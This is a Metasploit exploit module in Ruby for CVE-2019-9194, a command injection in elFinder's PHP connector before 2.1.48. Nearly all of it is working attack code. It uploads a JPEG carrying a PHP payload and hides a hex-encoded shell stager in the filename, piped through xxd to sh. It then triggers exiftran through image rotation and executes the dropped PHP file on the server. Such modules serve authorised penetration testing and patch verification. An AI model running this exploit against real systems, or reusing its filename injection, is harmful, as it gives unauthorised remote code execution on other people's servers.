elFinder PHP Connector exiftran Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'elFinder PHP Connector exiftran Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in elFinder  
versions prior to 2.1.48.  
  
The PHP connector component allows unauthenticated users to upload  
files and perform file modification operations, such as resizing and  
rotation of an image. The file name of uploaded files is not validated,  
allowing shell metacharacters.  
  
When performing image operations on JPEG files, the filename is passed  
to the `exiftran` utility without appropriate sanitization, causing  
shell commands in the file name to be executed, resulting in remote  
command injection as the web server user.  
  
The PHP connector is not enabled by default.  
  
The system must have `exiftran` installed and in `$PATH`.  
  
This module has been tested successfully on elFinder versions 2.1.47,  
2.1.20 and 2.1.16 on Ubuntu.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Thomas Chauchefoin', # Discovery  
'q3rv0', # Exploit  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2019-9194'],  
['EDB', '46481'],  
['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],  
['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']  
],  
'Arch' => ARCH_PHP,  
'Platform' => 'php',  
'Targets' => [['Auto', {}]],  
'Privileged' => false,  
'DisclosureDate' => '2019-02-26',  
'DefaultTarget' => 0))  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])  
]  
end  
  
#  
# Check if /php/connector.minimal.php exists and is executable  
#  
def check  
uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')  
res = send_request_cgi('uri' => uri)  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.code == 200  
vprint_status "#{uri} does not exist"  
return CheckCode::Safe  
end  
  
if res.body.include? '<?php'  
vprint_status 'PHP is not enabled'  
return CheckCode::Safe  
end  
  
CheckCode::Detected  
end  
  
#  
# Upload PHP payload  
#  
def upload(fname)  
# Small JPEG file from:  
# https://github.com/mathiasbynens/small/blob/master/jpeg.jpg  
jpeg = %w[  
FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02  
02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05  
06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E  
0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13  
12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01  
01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08  
01 01 00 00 3F 00 D2 CF 20 FF D9  
]  
jpeg = [jpeg.join].pack('H*')  
jpeg << rand_text_alphanumeric(50..100)  
jpeg << "<?php #{payload.encoded} ?>"  
jpeg << rand_text_alphanumeric(50..100)  
  
data = Rex::MIME::Message.new  
data.add_part('upload', nil, nil, 'form-data; name="cmd"')  
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')  
data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))  
post_data = data.to_s  
  
print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
)  
  
unless res  
fail_with Failure::Unreachable, 'Connection failed'  
end  
  
unless res.code == 200  
fail_with Failure::UnexpectedReply, 'Unexpected reply'  
end  
  
unless res.body.include?('"added"')  
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"  
end  
  
if res.body.include?('"error"') || res.body.include?('"warning"')  
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"  
end  
  
json_res = JSON.parse(res.body) rescue nil  
  
if json_res.nil? || json_res['added'].empty?  
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"  
end  
  
json_res['added'].first['hash'] || ''  
end  
  
#  
# Trigger the command injection via image rotation functionality  
# Rotates image by 180 degrees to trigger `exiftran` code path  
#  
def trigger(hash)  
print_status 'Triggering vulnerability via image rotation ...'  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),  
'vars_get' => {  
'target' => hash,  
'degree' => '180',  
'mode' => 'rotate',  
'cmd' => 'resize'  
}  
}, 5)  
  
unless res  
fail_with Failure::Unreachable, 'Connection failed'  
end  
  
if res.body.include?('"error"') || res.body.include?('"warning"')  
fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"  
end  
end  
  
#  
# Delete uploaded file  
#  
def delete_file(hash)  
print_status 'Removing uploaded file ...'  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),  
'vars_get' => {  
'cmd' => 'rm',  
'targets[]' => hash  
}  
}, 15)  
  
unless res  
print_status 'Connection failed'  
return  
end  
  
if res.body.include?('errFileNotFound')  
print_error "Could not delete uploaded file. Unexpected reply: #{res.body}"  
return  
end  
  
print_good 'Deleted uploaded file'  
end  
  
#  
# Execute payload  
#  
def execute_payload(php_fname)  
path = normalize_uri(target_uri.path, 'php', php_fname)  
  
print_status "Executing payload (#{path}) ..."  
  
res = send_request_cgi({  
'uri' => path  
}, 15)  
  
unless res  
print_status 'No reply'  
return  
end  
  
unless res.code == 200  
fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})"  
end  
end  
  
#  
# Remove uploaded file  
#  
def cleanup  
delete_file @hash unless @hash.nil?  
ensure  
super  
end  
  
#  
# upload && execute  
#  
def exploit  
unless check == CheckCode::Detected  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
fname = rand_text_alphanumeric(6..10)  
php_fname = ".#{rand_text_alphanumeric(6..10)}.php"  
  
# Max file name length is ~250 characters  
# and characters such as `/` are forbidden.  
# Hex encoded stager copies the uploaded file from the `files` directory  
# to the working directory (`php`) and changes the extension to `.php`  
# The stager is decoded with xxd when the vuln is triggered.  
stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"  
  
# Upload our payload jpg file with encoded stager in the filename  
jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"  
@hash = upload jpg_fname  
  
if @hash.to_s == ''  
fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'  
end  
  
trigger @hash  
  
register_file_for_cleanup php_fname  
  
execute_payload php_fname  
end  
end  
`